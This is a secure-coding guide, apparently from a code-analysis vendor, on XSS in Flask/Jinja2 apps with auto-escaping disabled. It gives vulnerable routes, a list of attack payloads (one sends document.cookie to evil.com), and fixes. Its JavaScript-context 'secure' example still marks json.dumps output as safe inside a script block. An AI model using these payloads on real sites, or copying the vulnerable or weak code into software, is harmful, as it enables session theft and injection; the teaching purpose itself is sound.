Jinja2 Disabled Auto-escaping XSS Vulnerability

Critical Risk Cross-site Scripting
pythonjinja2xsstemplate-injectionflaskdjangoauto-escapingwebinjectionuser-inputtemplate-engine

What it is

A critical vulnerability that occurs when Python web applications using Jinja2 templating engine disable auto-escaping or improperly handle template rendering. When auto-escaping is disabled, user input is rendered directly into HTML without proper escaping, allowing attackers to inject malicious scripts and HTML content.

from flask import Flask, request
from jinja2 import Environment, FileSystemLoader, Template

app = Flask(__name__)

# Vulnerable: Autoescaping disabled
template_env = Environment(
    loader=FileSystemLoader('templates'),
    autoescape=False  # XSS vulnerability!
)

@app.route('/profile')
def user_profile():
    name = request.args.get('name', 'Guest')
    bio = request.args.get('bio', '')

    # Vulnerable: No autoescaping
    template = template_env.get_template('profile.html')
    return template.render(name=name, bio=bio)

@app.route('/comment')
def show_comment():
    comment = request.args.get('comment', '')

    # Vulnerable: Direct template rendering
    template_str = '<div class="comment">{{ comment }}</div>'
    template = Template(template_str)  # No autoescaping
    return template.render(comment=comment)

@app.route('/dynamic')
def dynamic_content():
    content = request.args.get('content', '')

    # Vulnerable: Manual string formatting
    html = template_env.from_string('''
    <html>
    <body>
        <h1>Dynamic Content</h1>
        <div>{{ user_content }}</div>
    </body>
    </html>
    ''').render(user_content=content)

    return html

# templates/profile.html (vulnerable):
# <h1>Welcome {{ name }}!</h1>
# <p>Bio: {{ bio }}</p>

"""
Attack vectors:
?name=<script>alert('XSS')</script>
?bio=<img src=x onerror="fetch('/admin/delete-user')">
?comment=<script>document.location='//evil.com/steal?data='+document.cookie</script>
?content=<iframe src="javascript:alert('XSS')"></iframe>
"""
from flask import Flask, request, render_template
from jinja2 import Environment, FileSystemLoader, select_autoescape
from markupsafe import escape, Markup
import bleach

app = Flask(__name__)

# Safe: Autoescaping enabled
template_env = Environment(
    loader=FileSystemLoader('templates'),
    autoescape=select_autoescape(['html', 'xml'])  # Safe!
)

@app.route('/profile')
def user_profile():
    name = request.args.get('name', 'Guest')
    bio = request.args.get('bio', '')

    # Safe: Use Flask's render_template (auto-escapes by default)
    return render_template('profile.html', name=name, bio=bio)

@app.route('/comment')
def show_comment():
    comment = request.args.get('comment', '')

    # Safe: Template with autoescaping
    template = template_env.from_string(
        '<div class="comment">{{ comment }}</div>'
    )
    return template.render(comment=comment)  # Auto-escaped

@app.route('/dynamic')
def dynamic_content():
    content = request.args.get('content', '')

    # Safe: Autoescaping enabled environment
    html = template_env.from_string('''
    <html>
    <body>
        <h1>Dynamic Content</h1>
        <div>{{ user_content }}</div>
    </body>
    </html>
    ''').render(user_content=content)  # Auto-escaped

    return html

@app.route('/rich-content')
def rich_content():
    content = request.args.get('content', '')

    # Safe: Sanitize HTML for rich content
    allowed_tags = ['b', 'i', 'em', 'strong', 'p', 'br', 'ul', 'ol', 'li']
    allowed_attrs = {}

    clean_content = bleach.clean(content,
                                tags=allowed_tags,
                                attributes=allowed_attrs)

    # Mark as safe after sanitization
    safe_content = Markup(clean_content)

    return template_env.from_string(
        '<div class="rich-content">{{ content }}</div>'
    ).render(content=safe_content)

# templates/profile.html (safe with autoescaping):
# <h1>Welcome {{ name }}!</h1>          <!-- Auto-escaped -->
# <p>Bio: {{ bio }}</p>                 <!-- Auto-escaped -->
#
# For trusted HTML (use carefully):
# <div class="trusted">{{ trusted_html|safe }}</div>

# Configuration validation
def validate_jinja_config():
    """Ensure Jinja2 is configured securely"""
    if not template_env.autoescape:
        raise ValueError("Jinja2 autoescaping must be enabled!")

    print("✓ Jinja2 autoescaping is properly configured")

if __name__ == '__main__':
    validate_jinja_config()
    app.run(debug=False)  # Never run debug=True in production

💡 Why This Fix Works

The vulnerable code creates Jinja2 environments without autoescaping, allowing XSS attacks. The fixed version enables autoescaping and uses Flask's secure templating.

Why it happens

Explicitly disabling auto-escaping in Jinja2 environment configuration removes the primary defense against XSS attacks. This is often done mistakenly when developers want to render HTML content but don't understand the security implications.

Root causes

Disabled Auto-escaping in Jinja2 Environment

Explicitly disabling auto-escaping in Jinja2 environment configuration removes the primary defense against XSS attacks. This is often done mistakenly when developers want to render HTML content but don't understand the security implications.

Preview example – PYTHON
# VULNERABLE: Auto-escaping disabled
from jinja2 import Environment, FileSystemLoader

template_env = Environment(
    loader=FileSystemLoader('templates'),
    autoescape=False  # XSS vulnerability!
)

# User input will not be escaped
template = template_env.get_template('profile.html')
output = template.render(name=user_input)  # Direct XSS risk

Manual Template Creation Without Auto-escaping

Creating Jinja2 Template objects directly without proper auto-escaping configuration bypasses the security mechanisms. This often happens in dynamic template generation scenarios.

Preview example – PYTHON
# VULNERABLE: Template without auto-escaping
from jinja2 import Template

def show_comment(comment):
    # No auto-escaping by default
    template_str = '<div class="comment">{{ comment }}</div>'
    template = Template(template_str)  # Vulnerable!
    return template.render(comment=comment)

# Attack: comment = "<script>alert('XSS')</script>"

Using |safe Filter Inappropriately

The Jinja2 |safe filter bypasses auto-escaping for specific variables. When applied to user input without proper sanitization, it creates direct XSS vulnerabilities.

Preview example – PYTHON
# VULNERABLE: Inappropriate use of |safe filter
# In template: user_bio.html
# <div class="bio">{{ user_bio|safe }}</div>

# In Python code:
def display_profile(bio):
    # User input marked as safe without sanitization
    return render_template('user_bio.html', user_bio=bio)

# Attack: bio = "<img src=x onerror='steal_data()'>"

Flask with Auto-escaping Issues

While Flask enables auto-escaping by default for HTML templates, misconfigurations or manual template handling can bypass these protections, especially when working with custom template loaders.

Preview example – PYTHON
# VULNERABLE: Flask with custom template handling
from flask import Flask
from jinja2 import Environment, BaseLoader

app = Flask(__name__)

class CustomLoader(BaseLoader):
    def get_source(self, environment, template):
        # Custom template loading without auto-escape consideration
        return template, None, None

# Vulnerable environment
app.jinja_env = Environment(loader=CustomLoader())

@app.route('/dynamic/<content>')
def dynamic_page(content):
    template = app.jinja_env.from_string('<h1>{{ content }}</h1>')
    return template.render(content=content)  # XSS risk

Fixes

1

Enable Auto-escaping in Jinja2 Environment

Always enable auto-escaping in Jinja2 environments, especially for web applications. Use select_autoescape() to automatically enable escaping for common web file types.

View implementation – PYTHON
# SECURE: Auto-escaping enabled
from jinja2 import Environment, FileSystemLoader, select_autoescape

# Safe configuration with auto-escaping
template_env = Environment(
    loader=FileSystemLoader('templates'),
    autoescape=select_autoescape(['html', 'xml'])  # Safe!
)

# Alternative: Enable for all templates
template_env = Environment(
    loader=FileSystemLoader('templates'),
    autoescape=True  # All templates auto-escaped
)

# User input is automatically escaped
@app.route('/profile')
def user_profile():
    name = request.args.get('name', 'Guest')
    template = template_env.get_template('profile.html')
    return template.render(name=name)  # Safe - auto-escaped
2

Use Flask's Built-in Template Security

When using Flask, rely on its built-in template security features which enable auto-escaping by default. Use render_template() function which provides secure template rendering.

View implementation – PYTHON
# SECURE: Using Flask's secure template rendering
from flask import Flask, render_template, request

app = Flask(__name__)

@app.route('/profile')
def user_profile():
    name = request.args.get('name', 'Guest')
    bio = request.args.get('bio', '')
    
    # Safe: Flask auto-escapes by default
    return render_template('profile.html', name=name, bio=bio)

# templates/profile.html (auto-escaped by Flask)
# <h1>Welcome {{ name }}!</h1>  <!-- Automatically escaped -->
# <p>Bio: {{ bio }}</p>         <!-- Automatically escaped -->
3

Sanitize HTML Content Before Marking as Safe

When you need to allow some HTML content, use a proper HTML sanitization library like bleach before marking content as safe with the |safe filter or Markup().

View implementation – PYTHON
# SECURE: HTML sanitization before marking as safe
from flask import Flask, render_template, request
from markupsafe import Markup
import bleach

app = Flask(__name__)

@app.route('/rich-content')
def rich_content():
    content = request.args.get('content', '')
    
    # Define allowed tags and attributes
    allowed_tags = ['b', 'i', 'em', 'strong', 'p', 'br', 'ul', 'ol', 'li']
    allowed_attrs = {}
    
    # Sanitize HTML content
    clean_content = bleach.clean(content, 
                                tags=allowed_tags, 
                                attributes=allowed_attrs)
    
    # Safe to mark as safe after sanitization
    safe_content = Markup(clean_content)
    
    return render_template('rich_content.html', content=safe_content)

# Alternative: Using bleach.linkify for URL handling
def safe_user_content(text):
    # First clean the content
    clean = bleach.clean(text, tags=['b', 'i', 'em'], strip=True)
    # Then convert URLs to links safely
    linkified = bleach.linkify(clean)
    return Markup(linkified)
4

Implement Template Security Validation

Add validation to ensure your Jinja2 configuration is secure. Check auto-escaping settings and validate template sources to prevent security misconfigurations.

View implementation – PYTHON
# SECURE: Template security validation
from jinja2 import Environment, select_autoescape
import logging

logger = logging.getLogger(__name__)

def create_secure_jinja_env():
    """Create a secure Jinja2 environment with validation"""
    env = Environment(
        autoescape=select_autoescape(['html', 'xml', 'htm'])
    )
    
    # Validate configuration
    if not env.autoescape:
        raise ValueError("Jinja2 auto-escaping must be enabled!")
    
    logger.info("✓ Jinja2 environment created with auto-escaping enabled")
    return env

def validate_template_security(app):
    """Validate Flask/Jinja2 security settings"""
    if not app.jinja_env.autoescape:
        logger.error("❌ Jinja2 auto-escaping is disabled - XSS risk!")
        raise ValueError("Auto-escaping must be enabled for security")
    
    # Check for debug mode in production
    if app.debug:
        logger.warning("⚠️  Debug mode enabled - should be disabled in production")
    
    logger.info("✓ Template security validation passed")

# Usage in Flask app
app = Flask(__name__)
validate_template_security(app)
5

Use Context-Aware Escaping

For different contexts (JavaScript, CSS, URLs), use appropriate escaping methods rather than just HTML escaping. Jinja2 provides filters for different contexts.

View implementation – PYTHON
# SECURE: Context-aware escaping
from flask import Flask, render_template
from markupsafe import Markup
import json
import urllib.parse

app = Flask(__name__)

@app.route('/user-data')
def user_data():
    user_name = request.args.get('name', '')
    callback = request.args.get('callback', 'defaultCallback')
    
    # For JavaScript context - use JSON encoding
    safe_name_js = json.dumps(user_name)  # Safe for JS
    
    # For URL context - use URL encoding
    safe_name_url = urllib.parse.quote(user_name)  # Safe for URLs
    
    return render_template('user_data.html', 
                         name=user_name,  # Auto-escaped for HTML
                         name_js=Markup(safe_name_js),  # Safe for JS
                         name_url=safe_name_url,  # Safe for URLs
                         callback=validate_callback(callback))

def validate_callback(callback):
    """Validate JavaScript callback name"""
    if callback.isalnum() and len(callback) <= 50:
        return callback
    return 'defaultCallback'  # Safe fallback

# In template:
# <script>
#     var userName = {{ name_js|safe }};  // Safe JS
#     window[{{ callback }}](userName);
# </script>
# <a href="/user/{{ name_url }}">Profile</a>  // Safe URL

Detect This Vulnerability in Your Code

Sourcery automatically identifies jinja2 disabled auto-escaping xss vulnerability and many other security issues in your codebase.